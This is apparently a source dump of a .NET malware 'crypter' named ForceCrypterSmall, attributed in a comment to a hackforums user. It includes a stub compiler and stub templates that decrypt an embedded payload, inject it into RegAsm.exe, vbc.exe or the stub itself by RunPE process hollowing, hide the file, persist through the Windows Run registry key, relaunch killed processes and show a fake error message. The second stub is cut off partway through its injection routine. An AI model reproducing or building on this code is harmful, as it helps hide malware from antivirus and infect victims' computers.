enc StairsDecrypt byte Data = bvg64fa
fun AddToStartup RegisteryKey key = KcHqX
fun HideFile FileInfo f = fIg
string encKey = GhtsF
byte fBytes = yELJS
string encMethod = Vjggum
fun ReadManaged byte bytes = GDMQJ
fun ReadManaged ResourceManager manager = JocJH
void ReadManaged = qNkhyYMB
class Reader = PlolzPNCHr
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,21 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace ForceCrypterSmall
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("ForceCrypterSmall")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ForceCrypterSmall")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("14028e44-3b0c-491c-be44-2a271e1b7501")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,88 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace ForceCrypterSmall.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ForceCrypterSmall.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to using Microsoft.Win32;
///using System;
///using System.IO;
///using System.Reflection;
///using System.Resources;
///using System.Threading;
///using System.Windows.Forms;
///using System.Runtime.InteropServices;
///using System.Security.Cryptography;
///using System.Diagnostics;
///using System.ComponentModel;
///using System.Text;
///[assembly: AssemblyTitle(&quot;[title-replace]&quot;)]
///[assembly: AssemblyDescription(&quot;[desc-replace]&quot;)]
///[assembly: AssemblyCompany(&quot;[company-replace]&quot;)]
///[assembly: AssemblyProduct(&quot;[product-replace]&quot;)]
/// [rest of string was truncated]&quot;;.
/// </summary>
internal static string boop {
get {
return ResourceManager.GetString("boop", resourceCulture);
}
}
}
}
@@ -0,0 +1,125 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="boop" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\boop.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1255</value>
</data>
</root>
@@ -0,0 +1,26 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace ForceCrypterSmall.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,89 @@
using System.Collections.Generic;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Windows.Forms;
namespace ForceCrypterSmall.Resources
{
class Compiler
{
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
{
// We declare the new compiler parameters variable
// that will contain all settings for the compilation.
CompilerParameters CParams = new CompilerParameters();
// We want an executable file on disk.
CParams.GenerateExecutable = true;
// This is where the compiled file will be saved into.
CParams.OutputAssembly = Output;
// We need these compiler options, we will use code optimization,
// compile as a x86 process and our target is a windows form.
// The unsafe keyword is used because the stub contains pointers and
// unsafe blocks of code.
string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
// If the icon is not null (as we initialize it), add the corresponding option.
if (Icon != null)
options += " /win32icon:\"" + Icon + "\"";
// Set the options.
CParams.CompilerOptions = options;
// We don't care about warnings, we don't need them to show as errors.
CParams.TreatWarningsAsErrors = false;
// Add the references to the libraries we use so we can have access
// to their namespaces.
CParams.ReferencedAssemblies.Add("System.dll");
CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
CParams.ReferencedAssemblies.Add("System.Drawing.dll");
CParams.ReferencedAssemblies.Add("System.Data.dll");
CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
// Check if the user specified any resource files.
// If yes, add then to the stub's resources.
if (Resources != null && Resources.Length > 0)
{
// Loop through all resource files specified in the Resources[] array.
foreach (string res in Resources)
{
// Add each resource file to the compiled stub.
CParams.EmbeddedResources.Add(res);
}
}
// Dictionary variable is used to tell the compiler that we want
// our file to be compiled for .NET v2
Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
ProviderOptions.Add("CompilerVersion", "v2.0");
// Now, we compile the code and get the result back in the "Results" variable
CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
// Check if any errors occured while compiling.
if (Results.Errors.Count > 0)
{
// Errors occured, notify the user.
MessageBox.Show(string.Format("The compiler has encountered {0} errors",
Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
MessageBoxIcon.Error);
// Now loop through all errors and show them to the user.
foreach (CompilerError Err in Results.Errors)
{
MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
Err.Line, Err.Column, Err.FileName), "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
return false;
}
else
{
// No error was found, return true.
return true;
}
}
}
}
@@ -0,0 +1,343 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
namespace ilovecookies
{
static class Program
{
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = [startup-replace];
string injectTo = "[inject-replace]";
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
bool _persistence = [persistence-replace];
//The process we want to use persistence on
Process[] pname = Process.GetProcessesByName("[sprocess-replace]");
public FrmOne()
{
InitializeComponent();
//Basic delay
Thread.Sleep([delay-replace] * 100);
//If the user choosed persistence start a timer
if(_persistence)
{
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
timer1.Interval = 500;
Thread.Sleep(500);
timer1.Start();
}
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes,encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if(injectTo == "[itself]")
RunPe1.Run(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
if(injectTo =="[regasm]")
RunPe1.Run(injectionPath2, "", eBytes2);
if(injectTo == "[vbc]")
RunPe1.Run(injectionPath3, "", eBytes2);
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
////Getting our path with a folder name
//string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
////Creating the folder in the path
//bool exists = false;
//if (!Directory.Exists(path)) Directory.CreateDirectory(path);
//string path2 = Path.Combine(path, "[finame-replace].exe");
//if (Directory.Exists(path2)) exists = true;
////The second path with the exe inside of the folder
////Copying our crypted file to the exe in the folder
//if (exists = false)
//{
// File.Copy(Application.ExecutablePath, path2);
// //Making a registery key so it adds to startup
// RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
// if (key != null) key.SetValue("[regkey-replace]", path2);
//}
string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
//this is the persistence
private void timer1_Tick(object sender, EventArgs e)
{
string path = Path.Combine(Application.UserAppDataPath, "/[fname2-replace]");
//The place where dropped the startup
string path2 = Path.Combine(path, "[finame2-replace].exe");
//if the process is not running start it
if (pname.Length == 0)
System.Diagnostics.Process.Start(path2);
}
}
static class RunPe1
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool Run(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
@@ -0,0 +1,361 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace stupidcancercodeisruiningeverything
{
static class Program
{
[STAThread]
static void Main0()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = true;
string injectTo = "[inject-replace]";
bool _fakemessage = true;
bool _persistence = true;
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
public FrmOne()
{
InitializeComponent();
//Basic delay
Thread.Sleep(5 * 100);
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes, encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
if (_persistence)
{
Process[] pname = Process.GetProcessesByName("[process-replace]");
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
System.Windows.Forms.Timer timer2 = new System.Windows.Forms.Timer();
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (Application.ExecutablePath == path2)
{
timer1.Start();
timer1.Interval = 500;
}
else
{
timer2.Interval = 500;
timer2.Start();
}
}
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if (injectTo == "[itself]")
REDank.RunDank(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "", eBytes2);
if (injectTo == "[regasm]")
REDank.RunDank(injectionPath2, "", eBytes2);
if (injectTo == "[vbc]")
REDank.RunDank(injectionPath3, "", eBytes2);
//Fake Message
if (_fakemessage)
{
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
private void timer1_Tick(object sender, EventArgs e)
{
Process[] pname = Process.GetProcessesByName("[process-replace]");
if (pname.Length == 0)
{
Process.Start("[process-replace]");
}
}
private void timer2_Tick(object sender, EventArgs e)
{
Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
if (pname2.Length == 0)
{
Process.Start("[finame-replace]");
}
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
}
static class REDank
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool RunDank(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
